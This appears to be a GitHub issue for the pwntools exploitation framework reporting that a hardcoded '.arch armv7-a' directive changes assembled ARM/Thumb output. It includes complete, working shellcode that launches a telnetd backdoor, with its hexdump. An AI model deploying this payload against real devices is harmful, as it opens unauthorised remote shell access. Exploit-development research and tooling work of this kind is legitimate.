Gallopsled / Gallopsled/pwntools

asm.py with arm results in different machine code because of .arch armv7-a

Open
#1,431 3 comments 0 reactions 0 assignees View on GitHub
shellcode
Dominant language
Python
Stars
13.7k
Forks
1.9k
Avg merge
6d 23h
Merged PRs (30d)
3

Description

Hello!

I have the following shellcode:

```
_start:
.arm
adr r1, THUMB+1
bx r1
THUMB:
.thumb
adr r0, TELNET
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #17]
mov r7, #11
svc #1
.balign 4
TELNET:
.ascii "/usr/bin/telnetdZ"
```

In pwntools I assamble it with:

```python
shellcode = asm("""
.arm
adr r1, THUMB+1
bx r1
THUMB:
.thumb
adr r0, TELNET
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #17]
mov r7, #11
svc #1
.balign 4
TELNET:
.ascii "/usr/bin/telnetdZ"
"""
```
previously setting:

```python
context.arch = "arm"
context.os = "linux"
context.bits = 32
```

`asm.py` now generates the following file under `/tmp`:

```
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.syntax unified
.arch armv7-a
.arm
.arm
adr r1, THUMB+1
bx r1
THUMB:
.thumb
adr r0, TELNET
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #17]
mov r7, #11
svc #1
.balign 4
TELNET:
.ascii "/usr/bin/telnetdZ"
```
In https://github.com/Gallopsled/pwntools/blob/dev/pwnlib/asm.py#L303 the construction of the assembly snippet is done. The line `.arch armv7-a` also will be added:

```python
def _arch_header():
prefix = ['.section .shellcode,"awx"',
'.global _start',
'.global __start',
'_start:',
'__start:']
headers = {
'i386' : ['.intel_syntax noprefix'],
'amd64' : ['.intel_syntax noprefix'],
'arm' : ['.syntax unified',
'.arch armv7-a', # HERE 👋
'.arm'],
'thumb' : ['.syntax unified',
'.arch armv7-a', # HERE 👋
'.thumb'],
'mips' : ['.set mips2',
'.set noreorder',
],
}

return '\n'.join(prefix + headers.get(context.arch, [])) + '\n'
```

When I now `hexdump()` the compiled shellcode or display it with `xxd` it will look like this:

```
00000030: 0900 0800 0110 8fe2 11ff 2fe1 04a0 81ea ........../.....
00000040: 0101 82ea 0202 4274 4ff0 0b07 01df 00bf ......BtO.......
00000050: 2f75 7372 2f62 696e 2f74 656c 6e65 7464 /usr/bin/telnetd
00000060: 5a00 00bf 411c 0000 0061 6561 6269 0001 Z...A....aeabi..
```

The actual machine code starts at `0110 8fe2 ...`

This shellcode will not work when thrown against a Raspberry PI (for example). What's interesting... if I remove the line `.arch armv7-a` it will compile to a slightly different machine code:

```
00000030: 0a00 0900 0110 8fe2 11ff 2fe1 04a0 81ea ........../.....
00000040: 0101 82ea 0202 4274 4ff0 0b07 01df c046 ......BtO......F
00000050: 2f75 7372 2f62 696e 2f74 656c 6e65 7464 /usr/bin/telnetd
00000060: 5a00 c046 4115 0000 0061 6561 6269 0001 Z..FA....aeabi..
```
This machine code *is now working correctly* against my target (and it's also NULL-byte free).

Long story short, is it absolutely necessary to keep the `.arch armv7-a` line? Or could this be made optional?

Thanks a lot for `pwntools` it's an awesome tool! :)

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.